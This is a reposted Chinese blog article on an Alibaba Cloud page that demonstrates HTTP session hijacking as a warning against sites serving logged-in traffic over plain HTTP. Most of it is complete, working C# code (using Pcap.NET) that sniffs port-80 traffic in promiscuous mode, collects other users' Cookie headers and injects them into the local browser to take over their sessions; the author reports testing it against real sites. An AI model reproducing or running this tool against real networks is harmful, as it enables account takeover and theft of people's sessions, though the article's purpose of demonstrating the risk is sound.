看完48秒動畫,讓你不敢再登入HTTP網站(附完整範例程式碼)

來源:互聯網
上載者:User

標籤:gen   sso   而且   dmi   網站   dllimport   value   分享   contain   

原文轉至:http://www.cnblogs.com/baibaomen/p/http-session-hijack.html

在我的 單點登入SSO範例程式碼 一文中,強烈不建議部署HTTP的SSO服務網站。

在此寫個基於網路包嗅探的HTTP工作階段劫持程式,給大家一個直觀的危害性展示。

樣本中,我在一台Mac上登入58同城,被另一台Windows上的程式劫持。“駭客”查看我的資訊暢行無阻,還順手改了我的頭像。

先直接上示範動畫吧,48秒:

原文地址:HTTP工作階段劫持樣本-單點登入SSO

58同城的使用者登入是採用了HTTPS的,仍然逃不過工作階段劫持。大部分較規範的網站,都是類似模式:登入採用HTTPS,主要流量走HTTP。

隨手測試發現,使用該模式的網站,包括csdn、qq郵箱(是的它竟然還有http版的)等等,很多都未做到工作階段劫持免疫。部落格園其實也中招了,但它把敏感操作都放到了HTTPS,所以沒太多影響。

其實,對於用HTTP走流量、HTTPS走認證的網站,略施改造,是可以對工作階段劫持免疫的。各大網站可以自行下載我的程式自查是否存在缺陷,我可以提供針對性免疫補丁支援。

 

以下是該樣本的主要代碼,蠻簡單,引用了Pcap.NET組件,需要對應安裝WinPcap。基於該組件的網路資料包嗅探,只是做工作階段劫持的一種途徑,而且有應用局限性,所以範例程式碼更多是一個示範程式而非駭客工具。下面會具體講到。

想跟進最新代碼的還請watch我github上源碼:https://github.com/baibaomen/Baibaomen.HttpHijacker

using PcapDotNet.Core;using PcapDotNet.Packets;using System;using System.Collections.Concurrent;using System.Collections.Generic;using System.Diagnostics;using System.Linq;using System.Runtime.InteropServices;using System.Text;using System.Threading.Tasks;using System.Windows.Forms;namespace Baibaomen.HttpHijacker{    public partial class FormHijacker : Form    {        /// <summary>        /// 被嗅探到的各個裝置的cookie集合。        /// </summary>        ConcurrentDictionary<string, ConcurrentDictionary<string, string>> clientCookies = new ConcurrentDictionary<string, ConcurrentDictionary<string, string>>();        public FormHijacker()        {            InitializeComponent();        }        private void FormHijacker_Load(object sender, EventArgs e)        {            StartHijack();        }                public void StartHijack()        {            Task.Run(delegate {                IList<LivePacketDevice> allDevices = LivePacketDevice.AllLocalMachine;                if (allDevices.Count == 0)                {                    MessageBox.Show("未找到網卡。請確認已安裝WinPcap。");                    return;                }                foreach (var selectedDevice in allDevices)                {                    Task.Run(delegate                    {                        PacketCommunicator communicator =                            selectedDevice.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 1000);                        if (communicator.DataLink.Kind != DataLinkKind.Ethernet)                        {                            return;                        }                        using (BerkeleyPacketFilter filter = communicator.CreateFilter("tcp and dst port 80"))                        {                            communicator.SetFilter(filter);                        }                        communicator.ReceivePackets(0, PacketHandler);                    });                }                this.BeginInvoke(new EventHandler(delegate {                    lbMsg.Text = "監聽已啟動";                }));            });        }        private void PacketHandler(Packet packet)        {            try            {                var sourceIP = packet.Ethernet.IpV4.Source.ToString();                var http = packet?.Ethernet?.IpV4?.Tcp?.Http;                if (http == null || http.Header == null) return;                if (http.IsRequest && http.IsValid)                {                    String msg = http.Decode(Encoding.UTF8);                    //只截獲網頁本文請求。                    if (!string.IsNullOrEmpty(msg))                    {                        var lines = msg.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);                        var host = lines.FirstOrDefault(x => x.StartsWith("Host: "))?.Substring("Host: ".Length);                        var cookie = lines.FirstOrDefault(x => x.StartsWith("Cookie: "))?.Substring("Cookie: ".Length);                        if (string.IsNullOrEmpty(host)) return;                        if (!string.IsNullOrEmpty(cookie))                        {                            var cCookies = clientCookies.GetOrAdd(sourceIP, new ConcurrentDictionary<string, string>());                            cCookies.AddOrUpdate(host, cookie, (key, oldVal) => cookie);                        }                        if (msg.StartsWith("GET ") && (msg.Contains("\nAccept: text/html") || msg.Contains("\nAccept: text/plain")))//篩除對資源檔等的請求,讓資料更乾淨。                        {                            var pathAndQuery = lines[0].Substring(0, lines[0].LastIndexOf(" HTTP/")).Substring("GET ".Length);                            this.BeginInvoke(new EventHandler(delegate {                                lstSessions.Items.Insert(0, $"{sourceIP}\t{DateTime.Now}\thttp://{host + pathAndQuery}");                            }));                        }                    }                }            }            catch//可能嗅探資料不完整,丟棄。            {            }        }        [DllImport("wininet.dll", CharSet = CharSet.Auto, SetLastError = true)]        public static extern bool InternetSetCookie(string lpszUrlName, string lbszCookieName, string lpszCookieData);        private void btnHijack_Click(object sender, EventArgs e)        {            var selected = lstSessions.SelectedItem;            if (selected == null)            {                MessageBox.Show("請選擇待劫持會話");                return;            }            var segments = selected.ToString().Split(‘\t‘);            var ip = segments[0];            var url = segments[2];            var cookies = clientCookies[ip];            foreach (var domainCookie in cookies) //將cookie設定為瀏覽的cookie             {                foreach (var item in domainCookie.Value.Split(‘;‘))                {                    try                    {                        var name = item.Substring(0, item.IndexOf(‘=‘)).Trim();                        var value = item.Substring(item.IndexOf(‘=‘) + 1);                        InternetSetCookie(                             "http://" + domainCookie.Key,                             name,                             value + ";expires=" + DateTime.UtcNow.AddMinutes(10).ToString("R"));                    }                    catch { }//有不符合格式的資料。可能嗅探資料不完整,丟棄。                }            }            if (lstSessions.SelectedItem != null)            {                Process.Start("iexplore.exe", url);            }        }    }}
 

工作階段劫持可以在發生在不少地方/途徑:

  1. 通過專門設定的路由器/交換器;所有Hub;同一台物理機上的虛擬機器
  2. 所有上網代理
  3. 可被ARP攻擊的區域網路絡
  4. 不安全的無線網路
  5. 網路電訊廠商具備劫持能力。以前訪問http網站,常常能看到網路電訊廠商注入的廣告,這說明它是在解析HTTP資料的

可見能夠發生工作階段劫持的情境比較廣。

本樣本採用的是上述第一個途徑,該途徑有較大局限性。這是因為,現在除了部分單位或學校還在用廉價的Hub,大部分是通過路由器、交換器接入網路的。對此只有在支援的裝置上特別配置並指定的機器,才能嗅探到其它機器的資料包。

對於同一台物理機上的虛擬機器,因為它們對應一塊物理網卡,所以無需交換器、路由器上做設定,就能嗅探到彼此資料。使用虛擬機器環境是一個運行本樣本的快捷途徑。

看完48秒動畫,讓你不敢再登入HTTP網站(附完整範例程式碼)

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.